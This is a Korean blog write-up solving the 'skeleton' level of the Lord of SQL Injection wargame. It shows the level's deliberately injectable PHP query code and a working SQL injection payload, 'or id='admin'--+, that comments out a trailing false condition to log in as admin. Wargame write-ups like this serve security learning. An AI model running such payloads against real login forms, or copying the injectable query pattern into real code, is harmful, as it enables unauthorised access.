본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] skeleton 풀이

by yenua 2022. 6. 12.
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

스켈레톤은 판타지에 등장하는 언데드로, 보통 인간 해골이 형태를 갖추어 생전에 쓰던 칼이나 기타 무장을 하고 있는것으로 그려진다. - 나무위키

나무위키가 확실히 흥미로운 이야기가 많이 적혀있는 것 같다. 그래도 신뢰성이 떨어지는 느낌..

 

los의 스켈레톤을 처치해보자.

 

기본 쿼리문 및 소스코드는 아래와 같다. 

 

소스코드를 살펴보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

쿼리문을 보면 마지막에 and 1=0 이라는 거짓이 되는 부분을 넣어 모든 조건이 무효화되도록 하고 있다. 이 구문자체를 주석처리해서 없앨 필요가 있다. 문제 해결을 위해 admin만을 조회해야 하므로, guest 부분은 무효화되도록 하고, admin은 참이 되게 한 다음, 뒷부분은 주석처리로 싹 날려버리면 될 것이다.

 

그러므로 아래와 같이 스켈레톤을 처치할 수 있다.

pw: 'or id='admin'--+

url: ?pw=%27or%20id=%27admin%27--+

query : select id from prob_skeleton where id='guest' and pw='' and 1=0

 

 

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] darkknight 풀이  (0) 2022.06.12
[Los] golem 풀이  (0) 2022.06.12
[Los] vampire 풀이  (0) 2022.06.12
[Los] troll 풀이  (0) 2022.06.12
[Los] orge 풀이  (0) 2022.06.12